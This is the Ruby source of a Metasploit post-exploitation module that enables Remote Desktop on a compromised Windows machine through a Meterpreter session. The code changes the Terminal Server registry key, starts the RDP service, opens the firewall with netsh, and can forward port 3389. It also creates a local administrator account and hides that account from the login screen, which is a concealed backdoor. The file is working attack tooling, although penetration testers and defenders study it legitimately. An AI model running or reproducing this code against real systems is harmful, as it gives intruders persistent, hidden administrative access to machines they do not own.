metasploit-framework/modules/post/windows/manage/enable_rdp.rb

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Post
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include Msf::Post::Windows::Accounts
include Msf::Post::Windows::Registry
include Msf::Post::Windows::Services
include Msf::Post::Windows::Priv
include Msf::Post::File
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Manage Enable Remote Desktop',
'Description' => %q{
This module enables the Remote Desktop Service (RDP). It provides the options to create
an account and configure it to be a member of the Local Administrators and
Remote Desktop Users group. It can also forward the target's port 3389/tcp.},
'License' => BSD_LICENSE,
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))
register_options(
[
OptString.new('USERNAME', [ false, 'The username of the user to create.' ]),
OptString.new('PASSWORD', [ false, 'Password for the user created.' ]),
OptBool.new( 'ENABLE', [ false, 'Enable the RDP Service and Firewall Exception.', true]),
OptBool.new( 'FORDWARD', [ false, 'Forward remote port 3389 to local Port.', false]),
OptInt.new( 'LPORT', [ false, 'Local port to fordward remote connection.', 3389])
], self.class)
end
def run
if datastore['ENABLE'] or (datastore['USERNAME'] and datastore['PASSWORD'])
cleanup_rc = store_loot("host.windows.cleanup.enable_rdp", "text/plain", session,"" ,
"enable_rdp_cleanup.rc", "enable_rdp cleanup resource file")
if datastore['ENABLE']
if is_admin?
enablerd(cleanup_rc)
enabletssrv(cleanup_rc)
else
print_error("Insufficient privileges, Remote Desktop Service was not modified")
end
end
if datastore['USERNAME'] and datastore['PASSWORD']
if is_admin?
addrdpusr(datastore['USERNAME'], datastore['PASSWORD'],cleanup_rc)
else
print_error("Insufficient privileges, account was not be created.")
end
end
if datastore['FORDWARD']
print_status("Starting the port forwarding at local port #{datastore['LPORT']}")
client.run_cmd("portfwd add -L 0.0.0.0 -l #{datastore['LPORT']} -p 3389 -r 127.0.0.1")
end
print_status("For cleanup execute Meterpreter resource file: #{cleanup_rc}")
end
end
def enablerd(cleanup_rc)
key = 'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server'
value = "fDenyTSConnections"
begin
v = registry_getvaldata(key,value)
print_status "Enabling Remote Desktop"
if v == 1
print_status "\tRDP is disabled; enabling it ..."
registry_setvaldata(key,value,0,"REG_DWORD")
file_local_write(cleanup_rc,"reg setval -k \'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\' -v 'fDenyTSConnections' -d \"1\"")
else
print_status "\tRDP is already enabled"
end
rescue::Exception => e
print_status("The following Error was encountered: #{e.class} #{e}")
end
end
def enabletssrv(cleanup_rc)
service_name = "termservice"
srv_info = service_info(service_name)
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begin
print_status "Setting Terminal Services service startup mode"
if srv_info[:starttype] != START_TYPE_AUTO
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print_status "\tThe Terminal Services service is not set to auto, changing it to auto ..."
unless (service_change_config(service_name, {:starttype => "START_TYPE_AUTO"}) == Windows::Error::SUCCESS)
print_error("\tUnable to change start type to Auto")
end
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file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c sc config termservice start= disabled\"")
if (service_start(service_name) == Windows::Error::SUCCESS)
print_good("\tRDP Service Started")
end
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file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c sc stop termservice\"")
else
print_status "\tTerminal Services service is already set to auto"
end
#Enabling Exception on the Firewall
print_status "\tOpening port in local firewall if necessary"
cmd_exec('netsh', 'firewall set service type = remotedesktop mode = enable', 30)
file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c 'netsh firewall set service type = remotedesktop mode = enable'\"")
rescue::Exception => e
print_status("The following Error was encountered: #{e.class} #{e}")
end
end
def addrdpusr(username, password,cleanup_rc)
rdu = resolve_sid("S-1-5-32-555")[:name]
admin = resolve_sid("S-1-5-32-544")[:name]
print_status "Setting user account for logon"
print_status "\tAdding User: #{username} with Password: #{password}"
begin
if check_user(username)
print_error("\tThe user #{username} already exists")
return
end
user_added = false
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addusr_out = cmd_exec("cmd.exe", "/c net user #{username} #{password} /add")
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if addusr_out =~ /success/i
user_added = true
elsif check_user(username)
user_added = true
end
if user_added
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file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c net user #{username} /delete\"")
print_status "\tAdding User: #{username} to local group '#{rdu}'"
cmd_exec("cmd.exe","/c net localgroup \"#{rdu}\" #{username} /add")
print_status "\tHiding user from Windows Login screen"
hide_user_key = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'
registry_setvaldata(hide_user_key,username,0,"REG_DWORD")
file_local_write(cleanup_rc,"reg deleteval -k HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList -v #{username}")
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print_status "\tAdding User: #{username} to local group '#{admin}'"
cmd_exec("cmd.exe","/c net localgroup #{admin} #{username} /add")
print_status "You can now login with the created user"
else
print_error("Account could not be created")
print_error("Error:")
addusr_out.each_line do |l|
print_error("\t#{l.chomp}")
end
end
rescue ::Exception => e
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print_status("The following Error was encountered: #{e.class} #{e}")
end
end
def check_user(user)
output = cmd_exec('cmd.exe', '/c net user')
if output.include?(user)
return true
end
false
end
end